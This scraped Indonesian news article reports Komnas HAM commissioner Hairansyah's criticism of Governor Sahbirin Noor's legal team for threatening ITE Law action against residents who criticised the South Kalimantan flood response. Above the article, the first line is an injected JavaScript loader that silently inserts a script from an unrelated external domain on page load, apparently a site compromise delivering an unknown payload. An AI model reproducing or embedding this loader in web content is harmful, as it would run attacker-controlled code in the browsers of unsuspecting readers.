(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Polemik ancaman somasi yang disampaikan tim hukum Gubernur Sahbirin Noor atas munculnya beragam ekspresi warga dalam penanganan banjir Kalsel, juga mendapat perhatian komisioner Komnas HAM, Hairansyah.
Koordinator SubKomisi Penegakkan HAM ini dalam surat tertulisnya yang disampaikan Selasa (19/1/2021) mengatakan, kebebasan berpendapat dan berekspresi merupakan salah satu aspek penting demokrasi.
“Negara yang demokratis tercermin dari adanya perlindungan terhadap kebebasan berkumpul, mengemukakan pendapat, dan diskusi terbuka. Sebagai negara dengan kedaulatan yang berada di tangan rakyat, perlindungan terhadap hak atas kebebasan berpendapat dan berekspresi dapat mendukung pengawasan, kritik, dan saran terhadap penyelenggaraan pemerintahan,” katanya dalam surat yang beredar secara online tersebut.
Hak Kebebasan Bependapat dan berekpresi, menurut Hairansyah, adalah Hak dasar yang dimiliki oleh tiap individu dalam sebuah negara tercantum pada konstitusinya. Di Indonesia kebebasan untuk berpendapat diatur dalam Pasal 28E ayat (3) Undang-Undang Dasar 1945 (“UUD 1945”).
Dimana disebutkan, setiap orang berhak atas kebebasan berserikat, berkumpul, dan mengeluarkan pendapat.
“Disamping itu, perlu juga dilihat ketentuan dalam Pasal 28F UUD 1945, yang berbunyi: Setiap orang berhak untuk berkomunikasi dan memperoleh informasi untuk mengembangkan pribadi dan lingkungan sosialnya, serta berhak untuk mencari, memperoleh, memiliki, menyimpan, mengolah, dan menyampaikan informasi dengan menggunakan segala jenis saluran yang tersedia,” terangnya.
Ia mengatakan, pasal 23 ayat (2) Undang-Undang Nomor 39 Tahun 1999 tentang Hak Asasi Manusia (“UU HAM”) juga menyampaikan, setiap orang bebas untuk mempunyai, mengeluarkan dan menyebarluaskan pendapat sesuai hati nuraninya, secara lisan dan atau tulisan melalui media cetak maupun elektronik dengan memperhatikan nilai-nilai agama, kesusilaan, ketertiban, kepentingan umum, dan keutuhan negara.
“Dengan demikian jelas apa yang terjadi di Kalimantan Selatan adalah bagian dari ekpresi warga Negara terutama masyarakat Kalimantan selatan atas apa yang sedang mereka rasakan dan mereka alami sehingga sudah seharusnya menjadi perhatian untuk ditindaklanjuti penguasa secara proporsional dengan melakukan perbaikan kebijakan maupun tindakan darurat kebencaan untuk menghindari jatuhnya kerugian yang lebih besar termasuk melindungi Hak Hidup masyarakat jika terjadi korban jiwa sebagai bagian dari Hak Asasi Manusia,” tegasnya.
Menyikapi adanya Surat Peringatan dan Teguran yang disampaikan oleh tim kuasa hukum Sahbirin, ia menilai cenderung berifat “ancaman” terhadap warga negara. Terutama masyarakat Kalimantan Selatan yang sangat berpotensi melanggar hak rasa aman sebagaimana diatur dalam Pasal 28G UUD 1945 (1). Dimana disebutkan, setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, martabat, dan harta benda yang di bawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan hak asasi.
Dan Pasal 30 UU 39 Tahun 1999 tentang HAM yang menyatakan “Setiap orang berhak atas rasa aman dan tenteram serta perlindungan terhadap ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu.
“Penggunaan UU ITE dalam kontek ini tidaklah tepat walaupun secara hukum dimungkinkan. Namun dalam kontek demokrasi dan Hak Asasi Manusia jelas menjadi ancaman nyata bagi kebebasan menyampaikan pendapat selain itu pada dasarnya UU ITE dibentuk dengan niat untuk melindungi konsumen dalam melakukan transaksi elektronik di tengah meluasnya penggunaan internet dalam perekonomian nasional.
Namun, dalam pelaksanaannya, sering disalahgunakan untuk membungkam para pihak yang mengkritik pemerintah atau penguasa,” terangnya.
Data dari SAFENET tahun 2018 menunjukkan dari 245 kasus yang menggunakan UU ITE dari tahun 2008, lebih dari sepertiga pelapor (35,92%) adalah pejabat negara. Sasaran mereka adalah aktivis, jurnalis, hingga pegawai negeri, dan guru.
“Kondisi tersebut menyebabkan represi negara terhadap kebebasan untuk mengkritisi pemimpin negara menjadi “terdesentralisasi” – ia bukan lagi upaya yang terkolaborasi, namun dalam kendali kepentingan-kepentingan individual penguasa lokal,” tegasnya.
Sebagaimana diketahui, sebelumnya masyarakat ramai menyebar maupun membagikan sebuah cuplikan tayangan video di jejaring sosial media. Menampilkan jalannya debat Pilkada 2020, dimana Sahbirin yang berstatus incumbent percaya diri menyampaikan bahwa permasalahan banjir di Kalsel sudah teratasi selama era kepemimpinannya.
Walhasil, video berdurasi kurang lebih 10 detik itu ramai dijadikan masyarakat sebagai bahan untuk menyalurkan kekecewaan. Bahkan, dengan segala kreatifitas masyarakat Banua, video parodi dibuat demi menunjukan fakta bahwa bencana banjir masih terjadi dan kali ini lebih parah dari tahun-tahun sebelumnya. Mengakibatkan ratusan ribu orang terdampak dan puluhan ribu di antaranya harus mengungsi dari rumah.
Masifnya gelombang bentuk kritikan tersebut telah membuat kubu Gubernur Kalsel meradang. Hingga beredar sebuat surat somasi peringatan dan teguran yang dikeluarkan kuasa hukum Sahbirin, pada tanggal 17 Januari.
Isi surat tersebut menerangkan bahwa dalam suasana bencana banjir telah beredar di media sosial foto dan atau video dan atau narasi yang memuat ujaran kebencian, fitnah, dan atau pencemaran nama baik pada seseorang dan atau kelompok orang. Khususnya yang ditujukan kepada Sahbirin, yang sengaja dibuat dan atau di edit dan atau dinarasikan yang tidak sesuai dengan fakta dan atau konteksnya.
Atas hal itu pula, tim hukum Sahbirin memperingatkan dan menegur, agar berhenti membuat konten dan menyebarkannya. Bahkan, tim hukum Sahbirin menyatakan sudah menginventarisir fakta hukum pihak-pihak yang membuat dan mengupload serta membagikannya di media sosial, untuk selanjutnya di laporkan ke pihak Kepolisian.
“Untuk nantinya setelah musibah banjir berakhir, kami laporkan ke kepolisian atas tindak pidana/kejahatan yang diatur dalam Undang-undang Nomor 11 tahun 2008 tentang informasi dan transaksi elektonik,” demikian isi kutipan surat somasi tersebut.
Samsul Saladin, salah satu tim hukum Sahbirin, belum memberikan respon saat dihubungi Kanalkalimantan, melalui via WhatsApp, Selasa (18/1/2021) siang. (Kanalkalimantan.com/kk)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.